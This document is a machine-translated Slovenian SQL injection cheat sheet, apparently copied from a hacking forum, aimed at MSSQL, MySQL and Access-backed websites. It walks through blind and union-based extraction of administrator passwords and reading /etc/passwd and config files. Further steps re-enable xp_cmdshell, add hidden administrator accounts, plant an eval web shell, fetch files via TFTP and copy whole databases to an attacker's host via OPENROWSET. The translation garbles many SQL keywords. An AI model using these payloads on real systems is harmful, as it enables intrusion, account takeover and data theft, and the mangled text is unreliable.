MSSQL poizvedbe med bazami podatkov (smrdljiva hrana!) Temno)
Iztisni vsak zadnji kapljico MS SQL
Reference na SQL stavke in objekti zbirke zapisov so podrobno pojasnjeni
O shranjenih postopkih v SQL Serverju
Ustvarite spletno lupino z mssql varnostno kopijo
SQL_Injection napredne uporabe
SQL injekcija med lokacijami (laokai)
Čudna SQL injekcija (AMANL)
Napredno vbrizgavanje SQL v aplikacijah SQL Server
Kako uporabiti SQL injekcijo za prečkanje imenikov
Vodič po tehnikah SQL injekcij (prevajalec: demonalex)
Nekateri napadi na SQL baze podatkov
Tehnika napada z SQL injekcijo (JSW)
SQL_Injection Napredne aplikacije (APACHY)
Nenavadne metode SQL injekcije (Guilin Veteran)
Varnostna kopija lupine
Govorimo o strukturi stavkov php+mysql injection (Heyhehehehe·≯Super· Hej)
Napredno SQL vbrizgavanje z MySQL (angel)
L'injection (My)SQL preko PHP
Oracle SQL jezik
SQL ročna injekcijska enciklopedija
Predpogoji zahtevajo orodja: SQL Query Analyzer in SqlExec Sunx različica ============================================================================================== 1. Določite, ali obstaja točka za vbrizgavanje ; in 1=1 ter 1=2 2. Ugibam, da je ime tabele zgolj administrator, administrator, uporabniško geslo, geslo itd.: in 0<>(izberi štetje(*) iz *) in 0<>(izberi count(*) iz admin) — Določi, ali admin tabela obstaja 3. Uganite število računov Če naletite na 0< se vrnite na pravilno stran 1< vrnite stran z napako, da označite, da je število računov 1 in 0<(izberi count(*) iz admin) in 1<(izberi count(*) iz admin) 4. Ugani ime polja Dodaj ime polja, ki ga zamislimo, v oklepaje len( ). in 1=(izberi count(*) iz admin, kjer len(*)>0)– in 1=(izberi count(*) iz admin, kjer len(ime uporabniškega polja)>0) in 1=(izberi count(*) iz admin, kjer len(_blank>ime polja gesla)>0) 5. Ugani dolžino vsakega polja Ugani, da se dolžina spremeni >0, dokler se ne vrne pravilna stran in 1=(izberi count(*) iz admin, kjer len(*)>0) in 1=(izberi count(*) iz admin, kjer je len(ime)>6) napaka in 1=(izberi count(*) iz admin, kjer len(ime)>5) Pravilna dolžina je 6 in 1=(izberi count(*) iz admin, kjer je len(ime)=6 pravilen in 1=(izberi count(*) iz admin, kjer je len(password)>11 pravilen in 1=(izberi count(*) iz admin, kjer je len(password)>12) dolžina napake 12 in 1=(izberi count(*) iz admin, kjer je len(password)=12 pravilen 6. Ugani like in 1=(izberi count(*) iz admin, kjer left(ime,1)=a) — Ugani prvo številko uporabniškega računa in 1=(izberi count(*) iz admin, kjer left(ime,2)=ab)—Ugani drugo številko uporabniškega računa Samo dodaj enega znaka naenkrat, ugibaj dovolj števk, kot si pravkar uganil, in številka računa se bo pojavila (1) Ugani ime mize
Uporabljeni stavki: in obstaja (izberi * iz imena tabele)
Na primer: in obstaja (izberi * iz admina)
Če stran pravilno odmeva, to pomeni, da je ime tabele, ki smo ga tukaj ugibali, pravilno, in če je stran napačna, pomeni, da je ime tabele, ki smo ga tukaj napisali, napačno
, nato spremenite ime tabele in nadaljujete z ugibanjem, dokler ne uganete.
Na splošno so pogosto uporabljena imena tabel admin, manage, user ali postavi it v zagon orodja (2) Ugani polje
Uporabljeni stavki: in obstaja (izberite ime polja iz imena tabele)
Na primer: in obstaja (izberi uporabniško ime iz admin)
Tukaj, če predpostavimo, da je admin tabela tista, ki sem jo pravilno ugibal zgoraj, potem želim ugotoviti, ali polje za uporabniško ime obstaja, moram uporabiti ta stavek, če je stran
Če je obrazni odmev pravilen, to pomeni, da je ime polja, ki smo ga tukaj ugibali, pravilno, in če je stran napačna, potem pomeni, da je ime polja, ki smo ga tukaj napisali, napačno
, nato spremeni ime polja in nadaljuj z ugibanjem, dokler ne uganeš.
Na splošno pogosta imena polj vključujejo uporabniško ime, geslo, user, pass, ime, pass, pwd, usr, psd in druga polja (3) vrstni red po
vrstni red po je za vsoto števila polj na tej strani, s čimer se pripravi na naslednjo skupno poizvedbo (4) Union Select
1. Če podpirate skupno poizvedbo, poiščite prikazni bit http://www.xxx.com/product_show.asp?id=1 in 1=2 union select
1,2,3,4,5,6,7,8,9,10,11 Predpostavimo, da so prikazni biti 5,6. Nato moramo le zamenjati imena polj, ki ustrezajo uporabniškemu imenu in geslu administratorja, s položajem bita prikaza tukaj
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 iz admina je našel ozadje prijave 2. Če skupna poizvedba ni podprta Uporabniško ime in geslo skrbnika ni mogoče pridobiti brez skupne poizvedbe – z uporabo Ascii dobesednega dekodiranja Dva Uporabite vrstni red po za oceno števila bitov v tabeli, če pa ne deluje, uporabite union select, da jih razporedite enega za drugim, tukaj predpostavimo 8 bitov Tri Uporabite skupno poizvedbo za določitev prikaznih bitov Štiri Uporabite prikazni bit za iskanje imena baze podatkov, različica baze, 5.0 ali višja se lahko vbrizga.
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Pet Z imenom baze podatkov lahko začnete dobivati shemo imena tabele = sledita HEX vrednost imena baze podatkov in ugibate ime tabele
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 Šest Analizirano ime tabele določa HEX vrednost administratorjevega imena tabele = ime tabele in ugiba polja v tabeli http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(LOČEN
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Sedem Ko dobimo polja v administrativni tabeli, poglejmo vsebino polj http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(LOČEN
+uporabniško ime, 0x5f,userpwd),8+from+pub_webmaster Osem Orodje pregleda ozadje: Prijavi se, da naložiš trojanca, potem ko ga najdeš, in če ne najdeš robots.txt datoteke, lahko dostopaš Devet Če ne najdete ozadja, bo geslo MYSQL administratorja razkrito. http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user,password),8+from+mysql.user Deset Naključno dostopate do poti in povratna informacija je privzeta stran 404 v IIS6, kar kaže, da je strežnik spletne strani: Windows+IIS6+php+MySql okolje c:\\windows\\system32\\\inetsrv\\MetaBase.xml Ta pot lahko pridobi informacije o konfiguraciji spletne strani. Konstruktni stavki http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Enajst Analizirajte kodo in poiščite naslov v ozadju V prvem koraku moramo določiti dolžino polj v tabeli Uporabljene izjave: in (izberite zgornjo 1 lečo (ime polja) iz imena tabele)>0 Na primer kaj: in (izberi zgornjo 1 lečo(admin_name) iz administratorja)>0 Stran je prikazana normalno, dolžina polja admin_name je večja od 0, in predložil bom:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Stran prikazuje napako, ki navaja, da je polje med 0 in 10, dolžina pa je 5 po dihotomiji Z enako metodo za določanje dolžine polja za administratorjevo geslo dobim dolžino 16 Korak 2 Zdaj nadaljujmo z drugim korakom, vzamemo določen znak v polju in dobimo ASCII kodo tega znaka, ki se uporablja
Izjava: in (izberite top 1 asc(mid(ime polja, N,1)) iz imena tabele)>0 Naj si to poved ogledam ločeno, najprej najnotranjejšo srednjo (uporabniško ime, 1,1) funkcijo, ki je prvi znak admin_name polja, N
označuje, da je treba prestreči prvih nekaj znakov, Nato zunanja funkcija asc(), ki pretvarja znake, prestrežene s srednjo funkcijo, v ASCII kodo, najbolj zunanjo zgornjo eno, predstavlja povratno polje prvega mesta
Torej plošča, ">0" na koncu pomeni primerjavo pretvorjene ASCII kode s to številko in na koncu pridobiti prestrezanje z nenehnim spreminjanjem zadnje vrednosti
Pridobite podrobnosti o tem liku ASCII koda Oddaja:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Stran je prikazana normalno, kar pomeni, da je ASCII koda tega znaka večja od 30. Oddaja:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Stran je prikazana normalno, kar pomeni, da je ASCII koda tega znaka večja od 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII koda, ki sem jo imel za ta znak, je 97 Primerjajte ASCII tabelo: Lahko zaključimo, da je prvi znak "a". Nato bom ocenil ASCII kodo drugega znaka.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Stran se prikaže normalno, kar pomeni, da je ASCII koda znaka večja od 90, zadnja vrednost pa se vedno spremeni Ista metoda je dala geslo administratorja, rezultat pa je bil:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 in 1=(izberi top 1 count(*) iz Admin, kjer Asc(mid(pass,5,1))=51) – Ta poizvedbena izjava lahko ugane kitajskega uporabnika in _blank> geslo. Preprosto zamenjajte naslednje številke s kitajsko ASSIC kodo
Pretvorite se v like.
grupirati z users.id ima 1=1–www.myhack58.com Skupina po users.id, users.username, users.password, users.privs ima 1=1– ; Vstavi v uporabnikove vrednosti (666, napadalec, foobar 0xffff )–
UNION IZBERI TOP 1 COLUMN_blank>_NAME IZ INFORMATION_blank>_SCHEMA. STOLPCI Kjer
TABLE_blank>_NAME=logintable- UNION IZBERI TOP 1 COLUMN_blank>_NAME IZ INFORMATION_blank>_SCHEMA. STOLPCI Kjer
TABLE_blank>_NAME=prijavljivo Kjer COLUMN_blank>_NAME NE V (login_blank>_id)- UNION IZBERI TOP 1 COLUMN_blank>_NAME IZ INFORMATION_blank>_SCHEMA. STOLPCI Kjer
TABLE_blank>_NAME=prijavljivo Kjer COLUMN_blank>_NAME NI V
(login_blank>_id,login_blank>_name)- UNION Izberi TOP 1 login_blank>_name IZ logintable- UNION Izberi TOP 1 geslo IZ logintable, kjer login_blank>_name=Rahul– Poglejte popravek, ki ga je predvajal _blank> strežnik = napačen SP4 popravek, črna varnostna mreža in 1=(izberi @@VERSION)–
Poglejte dovoljenja računa za povezavo _blank> baze podatkov in vrne normalno stanje, kar dokazuje, da gre za dovoljenje sistemskega administratorja vloge _blank> strežnika. in 1=(Izberi IS_blank>_SRVROLEMEMBER(sysadmin))–
Določite, ali _blank> račun v bazi podatkov povezan. (Uporabi SA račun za povezavo in vrni normalno = dokaže, da je povezan račun SA) in sa=(Izberi System_blank>_user)– in user_blank>_name()=dbo– in 0<>(izberi user_blank>_name()–
Poglej, če xp_blank>_cmdshell izbriše in 1=(Izberi count(*) IZ master.dbo.sysobjects Kjer je xtype = X IN ime = xp_blank>_cmdshell)
–
xp_blank>_cmdshell je izbrisana, obnovljena in podpira absolutno obnovitev poti ; IZVRŠNI master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell xplog70.dll– ; IZVRŠNI master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== dovoljenje baze podatkov je izpostavljeno fizični poti spletne strani
========================================================================== 1、drop tabela [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- Ustvari tabelo
2、 delete [jm_tmp]; Vstavi [jm_tmp] izvršni master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Vstavite imenik strani v polje tabele
3、in (izberi top 1 cast([data] kot nvarchar(4000) char(124) iz [jm_tmp] vrstni red po [data]
desc)=0 '//Izpostavljeno polje
4. Spustite tabelo [jm_tmp] -- izbrišite to tabelo. da poveljstvo dobi granato
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Druge poti postaje ======================load_file() Pogosto uporabljene občutljive informacije =========================================== 1、 replace(load_file(0×2F6574632F70617377764),0×3c,0×20)
2、zamenjaj(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) Zgornji dve funkciji sta za ogled PHP datoteke, ki v celoti prikazuje kodo. Včasih nekateri znaki niso zamenjani, na primer "<" namesto "space", ki se vrne
Spletna stran. In kode ni mogoče gledati.
3. load_file(char(47)) lahko navede korensko mapo FreeBSD in Sunos sistemov
4. Oglejte si konfiguracijsko datoteko virtualnega gostitelja linux APACHE v /etc/httpd/conf/httpd.conf ali /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf ali C:\apache\conf\httpd.conf za ogled WINDOWS
System Apache datoteka
6. c:/Resin-3.0.14/conf/resin.conf Oglejte si konfiguracijske informacije o datotekah smole na spletni strani, ki jo je razvil jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/conf/resin.conf za ogled JSP virtualnega gostitelja, konfiguriranega na Linux sistemu
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /teme/darkblue_orange/layout.inc.php phpmyadmin eksplodira pot
11. C:\Windows\system32\inetsrv\MetaBase.xml Oglejte si konfiguracijsko datoteko virtualnega gostitelja IIS
12. /usr/local/resin-3.0.22/conf/resin.conf za ogled konfiguracijske datoteke RESIN za 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Enako kot zgoraj
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtualni gostitelj
15. /etc/sysconfig/iptables je odvisen od politike požarnega zidu
16. /usr/local/app/php5 b/php.ini PHP ekvivalentne nastavitve
17. /etc/my.cnf MYSQL konfiguracijska datoteka
18. /etc/različica Red Hat-a za izdajo Red Hata
19 、C:\mysql\data\mysql\user. MYD obstaja v uporabniškem geslu v sistemu MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 za ogled IP-ja.
21. /usr/local/app/php5 b/php.ini //PHP nastavitve, povezane
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtualne nastavitve spletne strani
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue prikazuje informacije o distribuciji jedra Linux
26、/itd/ftpuser
27. Preverite operacijski dnevnik pod LINUX-om user.bash_history ali .bash_profile
28、/itd/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/dnevniki/access.log .. /.. /apache/logs/error.log .. /.. /apache/dnevniki/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/dnevniki/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/dnevniki/access.log .. /.. /apache/logs/error.log .. /.. /apache/dnevniki/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/dnevniki/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Poskusi sam z obratnim PING eksperimentom ; uporaba master; razglasite @s int; izvršni sp_blank>_oacreate "wscrip{filter}t.shell", @s konec; izvršni odbor
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Dodajte račun ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Ustvarite virtualno mapo E-disk: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Atributi dostopa: (z pisanjem v spletno lupino) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Poseben trik _blank> za burst knjižnice: :%5c=\ ali spremeni %5 z / in \ za commit in 0<>(izberi top 1 poti iz newtable)–
Pridobite ime baze podatkov (od 1 do 5 so ID-ji sistema, ki jih lahko ocenite nad 6) in 1=(izberi ime iz master.dbo.sysdatabases, kjer dbid=7)– in 0<>(izberi count(*) iz master.dbo.sysdatabases, kjer sta name>1 in dbid=6) Pošlji dbid po vrsti = 7,8,9.... Pridobite več _blank> imenih baz podatkov
in 0<>(izberi prvo ime iz bbs.dbo.sysobjects, kjer xtype=U) vdre v tabelo ob predpostavki administratorja in 0<>(izberite prvo ime iz bbs.dbo.sysobjects, kjer je xtype=u in ime ni v (Admin)).
Druge mize. in 0<>(select count(*) iz bbs.dbo.sysobjects, kjer xtype=u in name=admin in uid>(str(id))) Predpostavlja se, da je številčna vrednost UID 18779569 uid=id in 0<>(izberi prvo ime iz bbs.dbo.syscolumns, kjer id=18779569) dobi polje admin, false
Nastavljeno na user_blank>_id in 0<>(izberite ime top 1 iz bbs.dbo.syscolumns, kjer id=18779569 in ime ni v (id,...)) za razkritje drugih področij in 0<(izberi user_blank>_id iz BBS.dbo.admin kjer je uporabniško ime>1), da dobiš uporabniško ime S tem lahko dobiš _blank> geslo。。。。。 Predpostavimo, da obstajajo polja, kot so user_blank>_id uporabniško ime, geslo itd
in 0<>(izberi count(*) iz master.dbo.sysdatabases, kjer sta name>1 in dbid=6) in 0<>(izberite ime top 1 iz bbs.dbo.sysobjects, kjer xtype=U) za pridobitev imena tabele in 0<>(izberi prvo ime iz bbs.dbo.sysobjects, kjer xtype=you in ime ni v(Address)) in 0<>(select count(*) iz bbs.dbo.sysobjects kjer xtype=u in name=admin in uid>(str(id)))
Določite vrednost id in 0<>(izberi prvo ime iz BBS.dbo.syscolumns, kjer id=773577794) vsa polja
?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* iz admin ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 iz administratorja (Union,Access je prav tako enostaven za uporabo)
Pridobite pot WEB ; Ustvari tabelo [dbo]. [zamenjava] ([swappass][char](255)); – in (izberi top 1 swappass iz swapa)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
Mojster.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, vrednosti=@test
OUTPUT vstavi v paths(paths) values(@test)– ; uporabi ku1; – ; Create table cmd (str image); – Ustvari tabelo cmd tipa slike 1. Način odstranitve postopka razširitve xp_cmdshell je uporaba naslednje izjave:
če obstaja (izberi * iz dbo.sysobjects kjer id=object_id(N'[dbo].[ xpcmdshell]') in
OBJECTPROPERTY(id,N'IsExtendedProc')=1) izvršni sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Način dodajanja xp_cmdshell postopka razširitve je uporaba naslednje izjave:
(1) SQL analizator poizvedb
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Najprej vnesite %s v možnost Format SqlExec Sunx Version in jih vnesite v možnost CMD
sp_addextendedproc 'xp_cmdshell,'xpsql70.dll'
odstraniti
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell,'xplog70.dll' Obstajajo xp_blank>_cmdshell testni postopki: ; Izvršni mojster.. xp_blank>_cmdshell dir ; izvršni master.dbo.sp_blank>_addlogin Jiaoniang$; – Dodaj SQL račune ; izvršni master.dbo.sp_blank>_password null,jiaoniang$,1866574; – ; izvršni master.dbo.sp_blank>_addsrvrolemember Jiaoniang$ sistemski administrator; – ; izvršni master.dbo.xp_blank>_cmdshell spletni uporabnik jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; izvršni master.dbo.xp_blank>_cmdshell Net LocalGroup Administrators Jiaoniang$ /add; – Izvršni mojster.. xp_blank>_servicecontrol začetek, načrt za začetek _blank> storitve Izvršni mojster.. xp_blank>_servicecontrol start, strežnik ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Izvršni mojster.. xp_blank>_cmdshell tftp - i youip get file.exe – Naloži datoteke z uporabo TFTP
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; razglasiti @a; množica @a=db_blank>_name(); varnostna kopija baze @a na disk=vaš IP Vaša deljena mapa bak.dat Če je omejeno, da. Select * from openrowset(_blank>sqloledb,server; SA; , izberi OK! izvršni odbor
master.dbo.sp_blank>_addlogin hax)
Struktura poizvedb: Izberi * IZ novic Kjer id=... IN tema=... IN ..... adminand 1=(izberi count(*) iz [user] kjer username=victim in right(left(userpass,01),1)=1)
in userpass <> izberite 123; – ; uporaba master; – :a ali ime kot fff%; – Prikazuje uporabnika z imenom ffff. in 1<>(izberi count(email) iz [uporabnik]); – ; posodobitev [uporabniki] nastavi e-pošto=(izberi prvo ime iz sysobjects, kjer xtype=u in status>0) kjer
ime=ffff; – ; posodobitev [uporabniki] nastavi e-pošto=(izberi zgornji 1 id iz sysobjects, kjer xtype=u in ime=ad) kjer
ime=ffff; – ; posodobitev [uporabniki] nastavi e-pošto=(izberi prvo ime iz sysobjects, kjer xtype=ti in id>581577110)
kjer ime=ffff; – ; posodobitev [uporabniki] nastavi email=(izberi top 1 count(id) iz gesla), kjer ime=ffff; – ; posodobitev [uporabniki] nastavite e-pošto=(izberite zgornjega 1 pwd iz gesla, kjer id=2) kjer ime=ffff; – ; Posodobitev [uporabniki] nastavi e-pošto=(izberi prvo ime iz gesla, kjer id=2) kjer ime=ffff; – Zgornja izjava pomeni, da pridobimo prvo uporabniško tabelo v _blank> bazi podatkov in vnesemo ime tabele v polje za e-pošto uporabnika ffff. Z ogledom uporabniškega profila FFFF lahko dobite prvo tabelo, imenovano AD Nato pridobimo ID te tabele glede na oglas za ime tabele, da dobimo ime druge tabele
vnesi v uporabnikove vrednosti(666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Vstavite v uporabnikove vrednosti (667,123,123,0xffff)– Vstavi v uporabniške vrednosti (123, admin–, geslo, 0xffff)– ; in uporabnik>0 ; in (izberi count(*) iz sysobjects)>0 ; in (izberi count(*) iz mysysobjects)>0 // za access_blank> bazo podatkov
Naštej ime podatkovne tabele ; Posodobi AAA nastavi aaa=(izberi prvo ime iz sysobjects, kjer xtype=you in status>0); – Tu se prvo ime tabele posodobi v polje AAA. Preberi prvo tabelo, drugo tabelo pa lahko bereš takole (dodaj in poimenuj za pogojem<> ime tabele, ki si jo pravkar dobil). ; Posodobi AAA nastavi aaa=(izberi prvo ime iz sysobjects, kjer xtype=ti in status>0 ter
ime<>glasovanje); – Potem id=1552 in obstaja(izberi * iz aaa, kjer aaa>5) Preberi drugo tabelo in jo preberi eno za drugo, dokler ne ostane nobene. Polje za branje izgleda takole: ; posodobi AAA nastavi aaa=(izberi top 1 col_blank>_name(object_blank>_id(ime tabele),1)); – Potem id=152 in obstaja (izberi * iz aaa, kjer aaa>5) dobi napako in dobi ime polja ; posodobi AAA set aaa=(izberi top 1 col_blank>_name(object_blank>_id(ime tabele),2)); – Potem id=152 in obstaja (izberi * iz aaa, kjer aaa>5) dobi napako in dobi ime polja
[Pridobite ime podatkovne tabele] [Posodobi vrednost polja na ime tabele in nato preberi vrednost tega polja, da dobiš ime tabele] Polje Ime tabele za posodobitev=(Izberite prvo ime iz sysObjects, kjer xtype=you in status>0 [ in ime<>
Ime tabele, ki ga dobiš. Poišči enega plus ena]) [kjer pogoj] izberi ime zgornjega 1 iz sysobjects, kjer xtype=ti in
status>0 in ime ni v (tabela1, tabela2,...) Ustvarjanje računa skrbnika baze podatkov in računu sistemskega skrbnika _blank> _blank> vbrizgavanje ranljivosti preko SQLSERVERJA [Trenutni račun mora biti skupina SYSADMIN]
[Pridobite ime polja podatkovne tabele] [Posodobi vrednost polja na ime polja in nato preberi vrednost tega polja, da dobiš ime polja] Posodobi polje Ime tabele=(izberi zgornje 1 col_blank>_name(object_blank>_id (ime podatkovne tabele za poizvedbo), stolpec polja
Na primer: 1) [ kjer je pogoj]
Obhod zaznavanja IDS [z uporabo spremenljivk] ; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Odpri oddaljeno _blank> bazo podatkov Osnovna skladnja select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, izberite * iz tabele1 ) Parametri: (1) Ime ponudnika OLEDB 2. Parameter povezovalnega niza je lahko katerikoli port za povezavo, na primer select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,
Izberi * iz tabele 3. Kopirajte celotno _blank> bazo podatkov ciljnega gostitelja in vstavite vse oddaljene tabele v lokalno tabelo.
Osnovna sintaksa: vstavi v OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, izberite * iz tabele1) izberite
* iz tabele2 Ta stavek vrstice kopira vse podatke iz tabele table2 na ciljnem gostitelju v tabelo table1 v oddaljeni _blank> bazi podatkov. Ustrezna popravila v praktični uporabi
Spremenite IP naslov in port povezovalnega niza, da kaže tja, kamor ga potrebujete, na primer: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi
* iz tabele1) izberite * iz tabele2 insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi
* iz _blank>_sysdatabases) Select * from master.dbo.sysdatabases insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi
* iz _blank>_sysobjects) Izberite * iz user_blank>_database.dbo.sysobjects insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi
* iz _blank>_syscolumns) Izberite * iz user_blank>_database.dbo.syscolumns Replicirajte _blank> bazo podatkov: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi
